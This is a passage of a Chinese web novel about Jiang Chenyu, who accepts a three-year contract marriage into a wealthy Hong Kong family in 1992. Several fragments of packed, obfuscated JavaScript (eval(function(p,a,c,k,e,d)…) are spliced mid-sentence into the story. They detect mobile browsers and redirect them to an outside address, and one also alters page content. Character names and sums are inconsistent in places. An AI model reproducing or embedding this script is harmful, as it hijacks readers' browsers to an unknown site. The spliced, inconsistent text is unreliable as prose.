白天姜沉宁落水事件闹得沸沸扬扬,街心园紧靠军区大院,这年头没什么大事件发生,一有人“跳水”,江城记者立刻闻风而动,接连采访了几位路人,顺着藤蔓抽丝剥茧把姜沉宁的家世打听了个一清二楚。 这件事本来要上报纸的,姜老爷子动用人脉才压下去。 这会儿说起来,肖建军太阳穴也跳了两下,声音冷起来,“知道了,您放心吧。” 话说到这,父子俩都没话再说,闲聊几句挂了电话。 姜家这边,文燕蓉在厨房磨磨蹭蹭,手里拿着块肉,提心吊胆想理由为小女争取机会。 没错,落水的姜沉宁这会儿已经回了家,她也知道自己犯了错,灰溜溜躲在卧室不出来。 姜建军前面已经发了一次火,手里的报纸都撕了。 眼看着他额头发青,隐隐又要发怒,幸亏部队一通电话打来,分散了姜建军的怒气。 姜建军把电话“啪”地一下撂桌上,叫了警卫员去部队。 看来是部队有急事。 文燕蓉见丈夫连个眼神都没给自己,要是放在寻常她都要说两句,现在母女俩夹着尾巴做人,哪来的胆量? 吉普车喷出尾气,轮胎摩擦地面夹杂着引擎声消失在窗外。 文燕蓉才松气,抬眼看了二楼,提脚去找不孝女算账。 她这是什么命生了这么个讨债鬼! 谁知道卧室里空空如也,姜沉宁也不知道跑哪去了,只有空荡荡的风吹着窗帘晃跟窗台上一张纸。 “妈,把家里藏着的小黄鱼给姜沉鱼当嫁妆,我做主了。” 文燕蓉:“......” 死丫头你能做什么主?! * 晚上姜沉鱼泡了澡,拿了一杯手磨黑咖啡,咖啡豆的香气跟着热气弥漫开,悠闲坐在窗前喝咖啡。 喝完咖啡,泡完澡出来,整个人心情舒畅。 楼下姜老爷子往港城打了一通电话,他跟萧老爷子不知道活了说了什么,琴姐收拾完厨房出来,听见老爷子展眉大笑:“好,我老朋友我就把孙女交给你家小子了。” “你年岁也不轻了,也要保重身体,凡事多宽心。” “咱们老哥俩可要好好对活几年,等着抱重孙。” 电话那头,姜老爷子笑声爽朗,“好,好,等着抱重孙。” 一对老朋友说定了,第二天本来要嫁进萧家的就从姜沉宁变成了姜沉鱼。 姜沉鱼知道这个消息的时候,正坐在餐厅吃港式下午茶,刚把手里的菠萝油面包顺下去,楼梯上响起一串脚步声,接着响起姜奶奶慈爱的声音。 “囡囡啊,奶奶来问你。” “萧砚那孩子你还记得吗?” “对,小时候你们见过的。” “你嫁给小砚怎么样?” 姜奶奶开门见山一句话,让姜沉鱼险些噎着自己。 “奶奶,你说什么?” “囡囡,奶奶问你对小砚什么感觉?” 姜奶奶依旧笑眯眯,看着眉眼潋滟似玫瑰的孙女,心中大半欣慰小半叹息。 姜沉鱼长相酷生母庄心晴,只不过庄心晴是温软柔弱的美,姜沉鱼则是爱刺人的明艳玫瑰花。 说起来,姜沉鱼对于萧砚真没什么印象跟想法。 两人只在十几岁时候见过一面,那时候萧家奶奶大寿,十五岁的萧砚一身黑色西装,少年面容精致凌厉,一双黑眸狭长漆黑,透着漫不经心的疏离感。 那年姜沉鱼才十三岁,穿着公主裙,漂亮得像个洋娃娃,姜奶奶给孙女买了个蝴蝶结,她只戴了一次就找不到了。 大概是丢在路上了。 姜沉鱼思忖着往事,姜奶奶也在观察孙女的脸色,但凡着孙女有一点不乐意。 老人家也不会强迫。 话说,当初姜沉宁很喜欢跟在萧砚池身后,哥哥长哥哥短的,文燕蓉对这个女婿也是满意的不得了,现在怎么说不嫁就不嫁了? 她不嫁了? 轮到自己了? 姜沉鱼挑眉,视线转悠悠落在对面的姜奶奶身上,亲密依偎过去。 “奶奶,我还不想嫁人呢。” “这丫头,嫁人有什么不想的。” 姜奶奶一手挽住孙女,长满皱纹的手握住姜沉鱼柔嫩的手,“囡囡啊,爷爷奶奶不会害你,姜家那孩子咱们先见见,或者通通电话也行,好好了解了解。” 姜沉鱼相信老太太说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830856|158970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,姜奶奶让孙女好好想想。 说过两天,萧砚会给家里来电话。 到时候两个孩子一起聊聊。 对此,姜沉鱼也没怎么放在心上,没想到第二天一早萧家的电话就打来了。 先是萧老爷子打来的电话,话里话外说自己身体不中用了,想在闭眼前见到孙子结婚。 后来就是姜建军的电话,一通又一通。 姜老爷子骂了儿子一顿,最后让琴姐叫醒了睡熟的姜沉鱼。 姜沉鱼睡得迷糊,翻了个身,把另一盏床灯拉亮,这才接过电话。 “你好?” “你好,姜小姐,我是萧砚。” 电话那头的男人声音极好听,像留声机中的跳跃的大提琴音,磁性悦耳。 萧砚? 姜沉鱼一秒清醒,抓着电话坐起来。 这才早上六点半,港城那边这么早就来电话? “萧先生,你好。” 姜沉鱼打了个哈欠,慵懒靠在沙发上,刚睡醒的声音软绵绵,娇滴滴的,无端让人耳朵一痒。 “大早上的,你找我有事吗?” “没什么事我就挂了。” “我习惯早睡晚起的。” 姜沉鱼说话一贯不喜欢拐弯抹角,说什么就是什么。 这个经济腾飞的年代大家都很忙,忙着赚钱,忙着上班忙,忙着照顾孩子........ 何况萧砚台这样的人物什么人没见过。 在他面前耍心眼,不如开门见山说实话。 港城六点半的凌晨还有些暗,霓虹灯光照亮别墅的地面和喷泉,只有道路两旁的梧桐树叶沙沙作响。 萧砚刚结束早会,表情淡漠听严特助报告完二房三房闹的幺蛾子,听到电话那头娇中带软的声音,骨节分明的指尖扯了下脖颈上的领结,俊美英挺的薄唇勾了勾,对着裴特助打了个手势。 裴特助打开手里的文件,恭敬接过电话道。 “姜小姐,我是总裁身边的助理严浩,关于您嫁到萧家这件事,有些话总裁希望跟您交代清楚。” “第一,您嫁到萧家彩礼八百八十八万,每月一个月一万的生活费,总裁跟您婚约三年。 第二,三年后彼此婚嫁各不相关,离婚后,萧家在京市的一套四合院会转移到您名下,并且有相应的资金补偿。 第三,彼此婚姻期间要对外实行夫妻任务,包括共同出席宴会,家庭聚会,公司会议等等,在此之间双方均不可跟未知男女穿出绯闻,影响萧家声誉.........” 裴特助洋洋洒洒说了一堆,电话对面的姜沉鱼大脑飞速运转。 等等,八百八十八万的彩礼? 每月一万的生活费,离婚有一套帝都的四合院还有抚养金? 要知道1992年的物价,姜沉鱼在公司上一个月班才赚500块钱,一年6000块。 这工资在江城还算不错的。 姜沉鱼平时娇里娇气,长相又妩媚,大家都以为她是冷情冷心,不食人间烟火的冰美人。 其实不然,姜沉鱼是个很俗气的人,怕吃苦、好逸恶劳、喜欢吃吃喝喝买买买。 这么个惊天大馅饼砸下来,有志气的姑娘说不定就拒绝了。 姜沉鱼生怕对方后悔似得,捂着砰砰砰跳的胸口答应的飞快。 “姜小姐,您觉得.....” “没问题,我答应。” 乖乖,结一次婚换近千万的钞票跟一套四合院,离婚后还有大笔抚养金。 这么好的事儿怎么不早点来? 5. 第 5 章 萧砚听出了姜沉鱼声音里的雀跃高兴,他不禁扬起嘴角,自胸腔漫出几声笑。 这丫头还跟小时候一样,一点儿没变。 姜沉鱼答应了跟萧砚的婚事,这让家中众人心思各异。 姜爷爷二老满意又担忧,姜建军一连几天展眉大笑,姜沉宁松了口气,只有文燕蓉在家忿忿不平,却又无可奈何。 盖因姜建军一高兴,把家里一箱子小黄鱼拿出来给大女儿当了嫁妆。 偏偏这一箱子小黄鱼是姜沉鱼生母庄心晴留下来的。 文燕蓉这个后进门的继母没有资格说什么。 庄心晴的祖父是江城富商,家业鼎盛的时候城里有两条街都是庄家的铺子。 等到解放后,庄家人分成了两派,一派携家带口,漂洋过海去了国外,庄心晴的父亲这一派则捐了家产,支持公私合营成了爱国企业家。 十年动荡岁月,庄家受到波及,一家人只剩下庄心晴一家三口跟提前藏下的家产。 庄父靠着资产东山再起,赚了一笔丰厚的家产,同时姜建军跟庄心晴自由恋爱,庄心晴嫁给到姜家,生下姜沉鱼,六年后再次怀孕,因为难产去世。 后来姜建军就去娶了文燕蓉。 庄心晴温婉善良,姜家上下都很喜欢她,尤其姜奶奶直接把她当亲闺女。 珠玉在前,文燕蓉怎么也比不上庄心晴。 既然她比不上,自己女儿就该胜过庄心晴女儿千万倍! 结果! 文燕蓉胸口憋着气,想撒没处撒,也不敢撒,憋屈着洗手,在厨房烧饭。 今天姜建军几位老战友在家里吃饭,家里来了一桶新鲜鱼虾,也有牛肉猪肉。 文燕蓉一个人忙不过来,家里的勤务兵给他打下手。 客厅里已经摆了满满一桌饭菜,姜建军穿着笔挺的军服,坐在客厅看报纸,姜沉鱼去了银行处理亲妈给她的首饰跟金银。 至于姜沉宁不知道去哪儿去了,自从知道姜沉鱼答应她嫁到港城去。 从前要死要活,老气沉沉地一个人突然鲜活,变得有生命力起来。 现在姜沉宁整天忙里忙外赚钱。 一天也不在家待着。 偶尔文燕蓉说她两句,几句话就给她堵回去。 气的文燕蓉一佛出世二佛生天,一天到晚浑身不舒服。 后勤处又送了菜来,姜建军来厨房看一眼,“菜准备的怎么样?” “马上就好了,你放心吧。” 文燕蓉收敛了神色,拍拍手里的围裙,强迫自己笑容自然。 她还在打主意,想着晚上能对着姜建军吹吹枕头风,把那箱子小黄鱼拿回来。 一箱子拿不回来,半箱子总可以吧? 文燕蓉打定主意,拿着铲子炒西红柿,砂锅里炖的鸡汤已经满屋飘香,案板上河虾还有鱼已经清理干净,就等着入锅了。 “那就好,今天辛苦你了。” “辛苦什么,这是我应该做的。” 脸皮撕破以前,二人还是外人面前恩爱无疑的好伴侣。 * 下午时分,窗外飘起了雨花,雨幕缱绻淅沥,有车辆不断从公交车旁驶过。 姜沉鱼撑着伞上了一辆的士,去了江城银行。 庄心晴去世前留下了一笔三十万的存款跟几件家传宝贝,这些东西都是指明留姜沉鱼的。 姜建军不会打这些东西的主意。 文燕蓉脸皮再厚,手也伸不到这些好东西上。 姜沉鱼细细思考了下,打算用这笔钱在港城买一套房,再买几家公司的股票。 九十年代港城治安不是很好,帮派横行、古惑仔□□的时不时火拼在一起。 香江的有钱人大多都住在跑马地、半山区、深水湾、浅水湾,像是萧家这大宅就坐落在跑马地。 她跟萧砚离婚后,并不打算很快离开港城。 如今港城娱乐业蓬勃发展,当年姜沉鱼曾外祖在民国初年开了家电影公司,当时还是无声电影时代。 庄家出品的电影叫卖又叫座,也培养了好几位国民影帝影后。 可惜花无百日红,抗日战争爆发后,国民凋零,庄氏电影公司也收到波及,只能遗憾歇业。 自此庄家几代人都想重开电影公司。 奈何生不逢时,到了姜沉鱼这一辈儿,庄家后代四散天涯,各安天命,怕是就她一个想着这事了。 姜沉鱼悠悠叹口气,乌黑长卷发散落在两侧,纤长卷翘的睫毛轻轻颤动了下,眉眼如墨,落在前的士司机的眼里,她就像是从江南山水画里走出来美仕女,迤逦美丽。 一路无话,下午两点半,出租车到达江城银行。 姜沉鱼手里有一枚江城银行保险柜的钥匙还有一封信,以前在姜奶奶那里保管。 昨天老人家把这两样东西都交给了孙女。 绿色的士抵达银行,江城银行工作人员确定完身份,过了几道安保门,去了保险柜存放间。 “姜小姐,保险柜的钥匙在您手上。” “您现在可以随时打开保险柜,取走里面的物品。” 工作人员交代完转身离开,姜沉鱼用钥匙打开保险柜,“啪”一声响,里面放着两个紫檀木盒子。 或许是放的时间太久,檀木盒子飘出一股奇异味道,有种类似沉香木的感觉。 这味道倒是不难闻。 可也没有那么好味就是了。 姜沉鱼屏住呼吸,打开左边的紫檀木盒,青色绒布上摆放着一对红宝石镶嵌玛瑙钻戒,一只帝王绿手镯。 右边紫檀木盒子里是一串光泽莹润的天然珍珠项链跟一个薄薄的信封。 信封里是一张港城房契,跑马地九十八号公寓。 「亲爱的沉鱼,我的女儿,港城九十八号是妈妈送你出嫁的礼物,也算是你的嫁妆,我的女儿出嫁那天,一定是最美丽的新娘,记住,一个女孩多爱自己才是终身的浪漫。」 「顺祝我的女儿,一生平安喜乐。」 「母,庄心晴。」< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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楼下飘来一阵香甜的味道,文燕蓉在厨房烙南瓜白糖饼。 南瓜和的面团里裹了白糖,沾着一圈芝麻,油一煎,吃起来酥酥香口,满是香甜。 说起南瓜饼,还是以前家里菊花嫂做的地道。 菊花嫂在姜家当了十多年老保姆,五十来岁的年纪,干活利落是一把好手。 庄心晴活着的时候很喜欢她,偏文燕蓉毛病一堆,整天在家里找茬儿,菊花嫂就在背后嘀咕她说,姜家的那个人不咋样,毛病不少。 这话在军区大院保姆圈儿传了一遍,文燕蓉找个理由,让菊花嫂走人了,菊花嫂子走了,文燕蓉的名声在保姆圈里也坏了。 就像隔壁肖政委家的保姆是保姆圈里的老姐姐,她一回来,有好几个保姆就嘀嘀咕咕跟她说了文燕蓉的事儿。 从那以后,文燕蓉就找不到一个合适贴心的保姆了,她还不知道自己名声在保姆圈不好了,找了好几个保姆都不合心意,加上姜建军也不赞同家里生活太小资,说是有司机、勤务兵就够了。 姜家从此之后就不找保姆了,家里的家务文燕蓉一个人全包了。 再苦再累也是她一个人。 姜沉鱼双手交叉抵着下巴,笑眯眯坐下来吃完薄荷糖,满口清凉中开始复盘萧家一家人如今的情况。 6. 第 6 章 萧家老太爷起于微贫,民国二十年老家遭遇大旱,一家人都没熬过去,只剩下他一个人。 萧家老太爷脑子活,凭借好口才搭了辆车南下去了羊城,在羊城码头扛沙包。 扛沙包一扛就是两年,民国二十二年,中原大乱,战火纷飞,萧家老太爷因为踏实认真,做事稳妥,开始跟着主人家东跑西跑做药材生意。 民国二十四年,萧家老太爷入赘到主人叶家,娶了叶姓商人的独女叶秋月,继承了岳父家的生意,萧家老太爷大展拳脚,短短数年内就把叶家的生意做大做强,水涨船高,成了羊城药材业的龙头老大。 内战爆发后,萧家老太爷目光敏锐,果断把家中产业迁到香江,占据了香江药材市场后,又进军房地产、百货商业、制造业、电影业,萧家的生意如日中天,传承三代兴旺不衰。 萧家老太爷今年八十二岁,年轻时候生得金质玉相,风流彬彬,香江延续清朝律令,萧家老太爷先后娶了三房妻妾。 大房就是叶家千金叶秋月,叶秋月虽然是大户千金,却是旧时女子,提倡以夫为天,给萧家生了一儿一女。 长子萧长章,娶船运大王的千金郭玉琴为妻,生育两子,长子萧台,次子就是姜沉鱼的便宜丈夫萧砚。 萧台是萧家的长子长孙,本身也有能力有魄力,按理说下一任家主非他不可。 可惜天不遂人意,萧台婚后跟妻子刚生下一子一女,夫妻俩就在西班牙度假的时候遭遇离奇车祸去世,只剩下四岁的儿子跟嗷嗷待哺的女儿。 叶秋月得知长孙出了车祸,缠绵病榻数年在前年去了。 萧长章夫妇悲恸不已,萧家大房的担子都被次子萧砚顶了起来。 萧砚此人酷似祖父,一上位便以雷霆手段撤换了二房三房安插在公司内的眼线,能在短短三年内坐稳萧氏总裁的位子,此人心术手段可见一斑。 萧老太爷后来又纳了两门妾室,二太太钟莉是前清红极一时的戏子,嫁到萧家生了一个女儿,现在跟女儿外孙定居海外,常年礼佛,不问世事。 三太邓颖梅是香江四大家族邓家的庶女,性子活泼长相不凡,很得萧老太爷的宠爱。 邓颖梅为萧家生育两个儿子,萧长昌、萧长堂,邓颖梅挤走二太钟莉,现在跟萧老太爷住在半山区的老宅中。 萧家早早分了家,家中大半产业由长房继承,剩下两成三房占了大头,二房只分得极少一部分。 萧老太爷每日在家晨起练剑,出门有保镖护着散步,身子骨硬朗的很。 前头姜沉鱼接到老人家的电话,萧老太爷嗓音响亮,声如洪钟,怎么听也听不出像他自己说的没几年活头了。 萧家大房长子萧台跟妻子遭遇车祸后,萧长章夫妻便长住海外,没有必要事情不会回港。 孤家寡人萧砚带着大哥的女儿萧甜住在跑马地洋房内,日常生活由两名保姆照看,另外还有一名园丁和一名司机。 姜沉鱼从来不打无准备的仗,从她答应嫁到港城起,就开始搜集关于萧家的一切信息。 豪门不好混,尤其香江豪门更不好混,像她这种外来媳妇,没有十分过硬的家世跟靠山,想在萧家站稳脚跟,一靠丈夫维护,二靠多生育子嗣。 这两样姜沉鱼都没有,好在萧家大方人少规矩也少一些,她跟萧砚签了婚前协议,只要遵守好协议内容,其他方面彼此各不干涉。 姜沉鱼又有个军长爷爷,参谋长爸爸,又有萧老太爷跟自家爷爷的情分在,她在香江的日子总不会太难过。 姜沉鱼天性乐观,想通这些就起身去楼下吃南瓜白糖饼配热牛奶。 南瓜白糖饼满口酥脆,姜沉鱼一口一个,尽管吃得很香,坐姿依旧端正,细嚼慢咽,举止优雅。 “妈,有什么好吃的?” “南瓜白糖饼?” “还有热牛奶跟大虾?” “我正好饿了,给我来一块。” 去外面进货的姜沉宁急吼吼跑进来,洗了手,伸着个胳膊去夹远处盘子里的南瓜白糖饼。 文燕蓉刚好从厨房出来,看见姜沉宁不顾形象地剥虾吃饼,弄得满手油腻腻,姜沉鱼在边上斯斯文文,心里又气得不行,干脆一筷子打在姜沉宁手上。 “哎哟。” “妈,你干嘛打我?” “干嘛打你?” “这些鱼虾都是给客人准备的,你怎么先吃了?” “让你爸看见小心收拾你!” 文燕蓉真是为这个女儿操碎了心,看看在边上清爽规矩吃喝的姜沉鱼,她也不得不在心里感叹,她的女儿这辈子别想赶上庄心晴的女儿了。 姜沉宁也不是傻子,在大家族长大怎么能没点心计。 哦,她有心计不过也不多就是了。 不然也不会上辈子背着萧砚刚想养小白脸就露了马脚,被萧砚踢出豪门,流落街头..... 萧沉宁想起上辈子的结局,结结实实打了个哆嗦,低下头老实喝牛奶。 萧砚就是个没有温度的魔鬼! …… “铃铃铃——” 位于跑马地2号的独栋洋房内,二楼书房内电话铃已经响过一遍,楼下的保姆王妈拧干抹布来用粤语接电话。 “您好,那位?” “老太爷?” “萧先生不在家,这个时间在公司开会,甜甜在休息,下班后让萧先生去半山大宅一趟?” “好的,老太爷我记下了。” 王妈撂下电话,转身回厨房,检查燕窝鲍鱼花胶人参,打算给萧甜做一份椰子燕窝炖奶跟菠萝油面包。 这是香江最流行的下午茶,椰奶炖蛋吃起来滑滑嫩嫩,口味没有那么甜,很适合萧甜这样的三岁小女孩。 港城半山区萧家老宅中,花园凉亭里三太邓颖梅带着两个儿媳妇、孙媳、孙女打马吊,摸牌的摸牌,喝茶闲聊的闲聊。 “八万,碰。” “碰,九万。” 一花园的女人都在兴头上,谁也没留心一辆加长宾利停在了老宅拐角处。 一袭黑色西装的男人从车上下来,裴特助在一旁为他打开车门,男人袖口微微卷起,露出张俊美无双的脸来,视线眺过花园里的众人,明明是极为平静的一眼,却让打牌的众人惊立当场。 这个不好惹的活阎王怎么来了? 众人心思各异,鸦雀无声,站在旁边的佣人,更是头皮发麻,大气也不敢喘一声。 亏着萧老太爷早早吃过午饭,拄着拐杖带着保镖在花园里散步,看见孙子过来,萧老爷子一双染了岁月的锋利鹰眼露出笑意。 “爷爷。” “臭小子你还知道有老子这个爷爷。” “爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧砚池来去淡然,面对萧老爷子尚且没有多亲切,对于萧家三房众人更是一句话也无。 萧家三房众人在萧砚在的时候,个个缩成鹌鹑。 等到加长宾利消失在大宅门口,萧老爷子也回了花园,一群人叽叽喳喳,义愤填膺开了口。 “妈咪,你看看这就是他们大房的态度。” “对,任凭他萧砚家主也不能在长辈面前这么无礼。” “刚才他的态度就是没把咱们三房放在心里!” 三房的两个儿媳妇带着几个小辈,对着三太告状,她们两个都出身大家,嫁到萧家也是被人恭维着,被一个小辈落了面子,心里自然不开心。 再者萧家的产业,唯独大房占了亲七成,二房跟三房平分剩下三成。 萧家三成的家业放在一般富豪眼里也是一笔极丰厚的财产,可放在败家子频出的二三房,这三成家业就不够用了。 三房两个儿媳妇心中早就不满了,这次不过是借此发难罢了。 三太邓颖梅是个六十多岁的贵妇老太太,虽然六十多了,却打扮时髦,烫发穿旗袍,脖子上挂着两串珍珠项链,手腕上是羊脂玉镯,说起话来也跟她这个人一样叮当作响。 “行了,你们讲什么废话。” “谁有意见去你们老豆跟前讲,跟我讲有用伐?” 邓颖梅不耐烦打断两个儿媳妇的话,甩出一张牌。 这话一出,三房两个儿媳妇立马不做声了。 笑话,家里谁不知道老爷子说一不二的脾气,她们吃了熊心豹子胆才敢去找不痛快。 7. 第 7 章 萧家三房暂时消停了,远在澳洲乡村别墅的萧家二房又起了波澜。 说起来萧老爷子三房妻妾,原配叶秋月贤淑善良,二太钟莉与世无争,三太邓颖梅持宠而娇。 当年分家产的时候,三太带着两个儿子闹得最起劲,结果吃了大亏,萧老爷子铁了心把大部分家产给大房。 二房那里表面风平浪静,其实内里波澜起伏。 三年前的一个雨夜,萧砚驱车到了半山区大宅,谁也不知道发生什么事,萧老爷子发了好大一顿脾气,当晚就把住在大宅的二太一家赶出了香江。 香江这边的资产二房一点也捞不着,只分到了澳洲一处房产跟几间铺面。 当时香江外界人士都在猜测,二太一家做了什么事触怒了萧老爷子,被赶到澳洲去。 可惜萧家上下规矩严谨,外人打探不到消息,此事也就这么过去了。 澳洲乡村别墅内,二层白色小洋楼,外面阳光明媚,绣球花开得茂盛。 别墅内却到处充斥着低压。 二太钟莉的女儿萧思琪坐在沙发上,用手撑着沙发扶手,想起这三年过得憋屈日子,就怄得心肝痛,忍不住开口道,“妈,您别在这烧香拜佛了,咱们家的两间店铺生意惨淡,要是再不想办法,以后一家人就喝西北风了。” “都是萧砚那个不尊长辈的小赤佬挤压我们,菩萨怎么不收了他?” 萧思琪的丈夫岳家明沉默着坐在一旁,脸色晦暗不明。 观音像前香烟袅袅,挽着发髻的钟莉低垂眉眼,拨动着手腕上的青玉念珠,嘴里念着佛句,彷佛对外界事物没有一点儿反应。 萧思琪见她这模样,还想说什么,被丈夫强硬拉出门去。 “你拉我做什么?” “我有话同妈咪讲。” “讲什么,岳母她老人家没空听你讲这些。” “.........” 二人细细碎的说话声远去,其中夹杂着两三句抱怨声。 等到一切归于平静,二太钟莉才掀起眼皮,算起来她今年也快七十岁了,一身灰色立领衣衫,一双蓝色眼眸,眼角的皱纹也掩盖不住年轻时候的美艳。 钟莉是混血儿,父亲是有家室的英国军官,在香江有了一个小家,后来抛弃了钟莉母女,好在钟莉凭借混血儿的优越长相,十岁跟着师傅学唱戏,十七岁登台,一登台就引起轰动。 当时无数风流倜傥的大少对她垂涎不已,送她回家,送她昂贵的珠宝首饰,还有紧追不舍要把她娶回家当太太的....... 在众多追求者中,钟莉偏偏对同样有家室的萧老太爷动了心,收起戏服成了萧家的二太,她知道自己的出身成不了豪门的正房太太,那些花花大少只不过跟自己玩玩罢了。 萧老爷子不一样,他是白手起家的富豪,有胆识有能力,最重要的是说出来的话一言九鼎,给他当二太不比一般富豪家的正房过得差。 在萧家的日子有苦有甜,要是当年她不那么糊涂,或许现在....... 钟莉抬眸看了眼眼前的观音像,继续跪在佛前忏悔她一生的罪孽。 * 萧氏集团晚上的会议直到十点半才结束。 萧砚开完会,一众股东下属鱼贯而出,只剩下裴特助在边上站着。 “总裁。” 狭长深邃的眸子扫过去,裴特助上前,低声用粤语道,“您的营养补充剂配好了。” 萧砚点点头,拿起营养补充汤剂一饮而下,然后用裴特助递上来的手帕,蘸了蘸薄唇。 “今天集团还有什么工作?” “没有了。” “澳洲那边有什么动静?” “暂时没有。” “好。” “对了,刚才王妈打来电话,说夫人一家择日就要来港,家中布置的差不多了,前面总裁为夫人定制的钻石套装也送来了,总裁要不要回去看看?” 裴特助口中的“夫人一家”,自然不是别人。 正是在家翻箱倒柜,收拾行李、准备嫁妆的姜沉鱼一家。 萧姜两家联姻,按照想香江豪门的规矩,要现在香江这边举办婚礼,然后新婚夫妻再回江城办回门宴。 萧砚身子靠在椅背上,眉目清冷,闻言笑了下,姿态懒散:“好,回老宅。” “是。” 裴特助应声离开会议室,去准备车辆。 夜幕当空,港城的街道灯光璀璨,加长宾利在道路上疾驰,不多时就到了跑马地老宅。 萧家老宅还是萧老爷子刚发际的时候,在港城购置的房产,原本是想用做叶秋月跟一双儿女的爱巢。 没想到搬进老宅的第二年,钟莉就成了萧老爷子的二太。 好在钟莉跟邓颖梅怎么努力,也没搬进老宅住过一天。 叶秋月去世后,萧老爷子不愿意住在老宅睹物思人,搬到人多热闹的三房住下,老宅就剩下萧砚跟兄长萧台的一双儿女,老宅中还有两个保姆,一个管家跟司机、园丁。 萧家两个保姆,王妈跟吴妈都是家里的老保姆,王妈从十几岁跟着叶秋月,到现在五十多岁也没有结婚,自梳成了老阿妈。 吴妈年轻些,四十多岁也是跟着叶秋月的老保姆,当年她偷渡到港城,在路边快要饿死被主人救了。 两位保姆连带着管家生叔对大房忠心耿耿,萧家老宅主楼有六层楼高,前院后院一路望不到头,因为住的人少,显得特别空旷。 萧砚平时工作忙,很少有时间回来,回来一次也是匆匆一见。 今天他一回来,生叔、王妈妈他们惊喜连连。 “少爷回来了。” “吴妈,快把家里准备好的营养补充剂端上来。” “好,我这就去。” 萧砚在长兄长嫂出车祸那年,遭人下毒,喝了一碗不知道添了什么邪乎的茶之后,就吃不下任何东西,自此之后,只能靠营养师调配的营养剂维持身体所需的维生素、氨基酸等。 幸亏萧家家大业大,萧砚身子骨结实, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜沉鱼不由得有些感概,她居然这么快就要嫁人了,嫁的还是冰山脸萧砚。 她还记得第一次在港城见萧砚,十几岁的少年西装革履,一张少年气的脸俊美矜贵,围在他身边的小姑娘有好几个。 姜沉鱼却离他远远地,当时奶奶问她怎么不过去跟小哥哥一起玩儿。 小姜沉鱼哼哼唧唧,就是不承认她嫉妒萧砚比自己生的还漂亮。 这么多年过去了,也不知道萧砚那厮生成什么妖孽模样。 哎呀,怪就怪他给的太多了。 八十八万的彩礼,一个月一万的生活费,三年后离婚还有一套北京四合院跟不菲的抚养费。 这么多的毛爷爷,小职员姜沉鱼上一辈子班也赚不来。 姜沉鱼抿了口苦甜咖啡提神,靠站在窗边,脑海里开始规划后面几天的行程。 8. 第 8 章 萧姜两家的婚礼定在十月十五日,据说是萧老爷子亲自找风水大师看的好日子,寓意佳偶天成,百年好合。 姜沉鱼不懂什么风水学,不过长辈说什么她听什么就是啦。 香江豪门最忌讳小辈还没进门就自作主张,尤其萧老爷子纵横商界大半辈子,习惯了手下人听他的,家里小背没一个敢忤逆他老人家,生怕惹了老爷子不高兴,分不到家产。 再说她跟萧砚这种契约婚姻,就跟一颗定时炸弹一样埋在那,说不定什么时候就爆炸。 姜沉鱼才不会在这些小事上去惹老人家不开心。 姜沉鱼喝完咖啡,去厨房清洗完茶杯放在置物架上,琴姐把碗筷收起来,帮着她整理要带走的衣物。 姜沉鱼生活骄奢,一年四季的衣物挂满了三个衣柜,单是各色旗袍就有一箱子,更别说什么大衣、小香风套装之类的了,有好几套都是去外国旅游的时候买的名牌套装。 姜沉鱼酷爱旅游,她胆子大,手头也不缺钱,一到假期就天南地北的四处玩。 对此姜奶奶特意叮嘱孙女,“囡囡啊,嫁了人爱玩的性子要收一收,萧家规矩多,香江不比江城没,没人包容你的脾气。“ 姜奶奶这话说得实在,姜沉鱼也明白个中道理,乖巧应下。 姜奶奶看孙女听话,老怀欣慰的同时,又叫了姜老爷子跟勤务兵来去后院挖孙女出生时埋下的桃花酒。 江城女儿出嫁,家家户户都会配送几坛桃花酒当嫁妆。 姜家两个孙女出生时都在后院埋了桃花酒。 不同的是姜沉鱼埋了八坛,姜沉宁只有五坛。 这些陈年往事,姜沉鱼不晓得,她在琴姐的帮助下,装满了两个轻便的旅行箱,里面装的必要的换洗衣服、睡衣外套之类的,剩下的大小件、包括姜沉鱼的嫁妆,早都打包好,明早会随着轮渡上的其他包裹一起寄去港城。 九月份的江城秋老虎未消,姜家洋房虽然靠近海边,却也抵不过夜间的热意。 姜沉鱼忙了大半天,累出一身香汗,琴嫂在浴缸里放了水,喊她去泡澡。 “小鱼,水放好了去泡澡吧。” “谢谢琴姐。” 姜沉鱼拎着自己的专用小包包进了浴室,在里面环视一圈,看自己喜欢的茉莉香薰蜡烛点上了,收音机里也放着爱听的歌曲,玫瑰色的唇一下子翘了起来。 泡澡的时候,用茉莉香薰蜡烛最能安抚情绪,放松身心。 姜沉鱼每次泡澡都要用,九十年代香薰蜡烛价格不菲,文燕蓉好几次暗搓搓表示,继女生活太奢侈,不够艰苦朴素。 对此,姜家人只当她狂犬乱吠。 笑话先,现在都什么年代了,改革开放都十来年了,大领导也说不管白猫还是黑猫,能抓住老鼠就是好猫。 在这个全民搞经济赚钱的时代,多花钱没人笑。 没钱穷讲究才让人笑话。 譬如文燕蓉当老师一个月四百多的工资,为了在同事面前出风头,能花五百块钱在百货大楼买一件名牌风衣,又相中了一双舶来品羊毛靴,因为钱不够挪用丈夫给的家用,被姜建军发现训斥一顿...... 诸如此类的事情,姜沉鱼想起来就想发笑。 